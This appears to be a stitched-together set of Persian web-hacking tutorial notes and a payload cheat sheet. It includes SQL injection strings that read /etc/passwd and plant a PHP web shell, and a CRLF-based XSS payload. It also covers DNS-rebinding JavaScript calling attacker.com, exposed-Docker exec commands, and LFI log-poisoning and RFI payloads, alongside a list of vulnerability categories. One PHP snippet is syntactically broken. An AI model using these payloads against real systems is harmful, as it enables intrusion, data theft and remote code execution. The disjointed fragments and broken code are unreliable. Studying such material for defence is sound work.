app.php?id=-1 union select 1,2,3,4,5,6,7,8,9--

app.php?id=-1 union select 1,0x3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e,3,4,5,6,7,8,9--

app.php?id=-1 union select 1,load_file('/etc/passwd'),3,4,5,6,7,8,9--

app.php?id=-1 union select 1,'hacked' into outfile '/tmp/hacked.txt',3,4,5,6,7,8,9--

app.php?id=-1 union select 1,'<?php system($_GET['cmd']); ?>' into outfile '/var/www/html/shell.php',3,4,5,6,7,8,9--

shell.php?cmd=whoami

database()
@@database
Version()
@@version

app.php?id=-1 union select 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata--

1. هر Header با Header بعدی با یک CRLF جدا میشود.
2. آخرین Header با Body با دو CRLF جدا میشود.

1. سواستفاده از CRLF برای bypass کردن.
2. اکسپلویت سایر آسیب پذیری ها.
3. به وجود آوردن آسیب پذیری های مختلف‌.

app.php?username=salam%0d%0a%0d%0a<img src=x onerror=alert()>

Abusing Hop Headers
Web Cache Poisoning
Web Cache Deception
HTTP Request Smuggling
H2C Smuggling
XSLT Server-Side Injection
Edge Side Inclusion (ESI) Injection
Host Header Poisoning
IP Address Spoofing

AWS S3 Bucket Misconfiguration
AWS CloudFront Misconfiguration
AWS IAM/STS Misconfiguration
AWS Elastic Beanstalk Misconfiguration
AWS API Gateway Misconfiguration
AWS Cognito Misconfiguration
AWS Exposed Sensitive DocumentDB
AWS EC2 Misconfiguration
AWS SNS Misconfiguration
AWS RDS Misconfiguration

Common Vulnerabilities and Exposures (CVE's)
Exposed Configuration Files
Server Side Includes (SSI) Injection
Information Disclosure

DNS Rebinding
Subdomain Takeover

Content Security Policy (CSP)
Cross-Origin Resource Sharing (CORS)
Dependency Confusion / Abuse
JSON Web Token (JWT) Misconfiguration
Missing Security Headers

Content Injection
Reflected Cross-Site Scription (XSS)
Stored Cross-Site Scripting (XSS)
Blind Cross-Site Scripting (XSS)
Dangling Markup
Client-Side JavaScript Injection
Client-Side Prototype Pollution (CSPP)
DOM-Based Cross-Site Scription (XSS)
DOM-Based Open Redirect
Client-Side Template Injection (CSTI)
PostMessage Vulnerabilities
Information Disclosure
Privileged Credentials Exposed
Insecure Data Storage
Client-Side Denial of Service (DoS) / Breaking The DOM

Command Injection
Code Injection
Insecure Deserialization
LDAP Injection
Server-Side Request Forgery (SSRF)
File Inclusion / Path Traversal
XPATH Injection
Unrestricted File Upload
Web Shell via File Upload
Server-Side Template Injection (SSTI)
Server-Side Prototype Pollution (SSPP)
XML External Entity (XXE)
WebSocket Injection

SQL Injection
NoSQL Injection
GraphQL Injection
Denial of Service (DoS)
Information Disclosure

OAuth Misconfiguration
Security Assertion Markup Language (SAML) Misconfiguration
Google Firebase IAM Misconfiguration
Keycloak IAM Misconfiguration

Indirect Object Reference (IDOR)
Insufficient Access Controls
Bypass Access Controls
2FA/MFA Bypass
Captcha Bypass
Rate Limiting / Brute-force Protection Bypass
Bypass Registration Restrictions
Bypass Payment Process Restrictions
Bypass Authentication Restrictions
Bypass Password Reset Restrictions
Race Conditions
Username Enumeration

Internal Source Code on Public Repository
Internal/Privileged Credentials on Public GitHub Repository
Internal Source Code Found in Web Scraping
Internal/Privileged Credentials Found in Web Scraping

<?php
$servername = "localhost";
$username = "root";
$password = "pa@@w0rd";
$dbname = "database_name";
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
    die("Connection failed"); mysqli_connect_error());
}
echo "Connected successfully";
?>

<?php
$servername = "localhost";
$username = "root";
$password = getenv('DB_PASSWORD');
$dbname = "database_name";
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
    die("Database connection failed.");
}
echo "Connected successfully";
mysqli_close($conn);
?>

1. یه دامنه میتونه چندین رکورد A داشته باشه و در نتیجه به چندین آیپی resolve بشه. اولویت ها بر اساس آیپی هایی هست که بالاتر قرار دارن و اگه آیپی اولی جواب نده از آیپی بعدی استفاده میشه.
2. هر DNS response که دریافت میکنیم یک TTL داره که بر حسب ثانیه کار میکنه و مقدار زمانی که داخلش تعریف شده تو سیستم ما cache میشه. مثلا اگه سایت google.com رو باز کنیم و TTL 100 رو داشته باشه، IP این سایت که تو فرایند name resolution به دست اومده تا 100 ثانیه تو سیستم ما ذخیره میشه.
3. مفهوم Same Origin Policy و SSRF رو تو پست های قبلی توضیح دادم که پیشنهاد میکنم مرورشون کنین.

1. استفاده از blacklist IP ها، یعنی لیستی از آیپی های داخلی رو به عنوان blacklist تعریف کنیم.
2. اول روی ورودی کاربر DNS resolution انجام بدیم و روی آیپی آن blacklist check رو انجام بدیم. برای مثال هکر یه دامنه بالا میاره به اسم dns.attacker.com که به آیپی 127.0.0.1 اشاره میکنه. با این روش جلوش گرفته میشه.

1. هکر یه دامنه بالا میاره به اسم attacker.com که به 2 تا آیپی resolve میشه، اولی آیپی سرور خودش و دومی آیپی لوکالی که قصد داره بهش درخواست بزنه. TTL رو هم خیلی کم ست میکنه.
2. به عنوان ورودی attacker.com رو به تارگت میده و تابع میاد بررسی میکنه میبینه که آیپیش local نیست و ازش عبور میکنه.
3. قبل از اینکه کد برنامه برسه به جایی که درخواست HTTP رو ارسال میکنه، زمان cache یا همون TTL بخاطر پایین بودن تموم میشه و تابعی که آسیب پذیره به SSRF مجبور میشه درخواست name resolution ارسال کنه برای attacker.com تا آیپی رو به دست بیاره و این دفعه attacker.com به یه آیپی local اشاره میکنه.
4. درخواست HTTP به آیپی local ارسال میشه.

https://lock.cmpxchg8b.com/rebinder.html

1. هکر دامنه attacker.com رو بالا میاره که همچنان دوتا IP داره یکی به سرور هکر اشاره میکنه که داخلش کدهای مخرب JavaScript قرار داره و یکی هم به IP داخلی ای اشاره میکنه که قربانی روی اون آیپی تو شبکه داخلیش یه web application داره. و همچنین TTL هم کم در نظر گرفته میشه.
2. هکر آدرس دامنه رو به قربانی میده و بعد از name resolution قربانی برای آیپی سرور مخرب درخواست ارسال میکنه و کدهای JavaScript روی مرورگرش لود میشه.

function attemptRequest() {
    const xhr = new XMLHttpRequest();
    xhr.open('GET', `http://attacker.com/sensitive_information_path`, true);
    xhr.onload = function () {
console.log('Response:', xhr.responseText);
    };
    xhr.onerror = function () {
console.log('Request failed');
    };
    xhr.send();
}
setTimeout(attemptRequest, 5000);

1. هکر میدونست چه سرویسی روی شبکه داخلی قربانی نصب هست. و بخاطر همین میدونست endpoint حساسش چیه.
2. باید دامنه هکر رو دقیقا به همون آیپی که روی آن web application نصب شده resolve کنیم.
3. اگه وب اپلیکیشن داخلی روی پورت خاصی هست، ماهم باید به اون پورت درخواست ارسال کنیم.

1. وقتی authentication نیاز باشه.
2. وقتی روی 192.168.1.20 SSL/TLS وجود داشته باشه.(بخاطر مچ نشدن certificate جلوی حمله گرفته میشه)

product:"docker" port:"2375" 

docker -H 127.0.0.1:2375 ps -a 

docker -H 127.0.0.1:2375 exec -i [CONTAINER-ID] [COMMAND] 

include($_GET['file']);

http://target.com/index.php?file=news.php

http://target.com/index.php?file=../../../../../../../etc/passwd

php://filter/convert.base64-encode/Resource=index.php

GET /test HTTP/1.1
..
..
..
User-Agent: <?php system($_GET['cmd'])  ?>

http://target.com/index.php?file=../../../../../var/apache2/access.log&cmd=whoami

http://target.com/index.php.php?file=http://attacker.com/RFI.txt

allow_url_include
allow_url_fopen

X-Forwarded-For: 127.0.0.1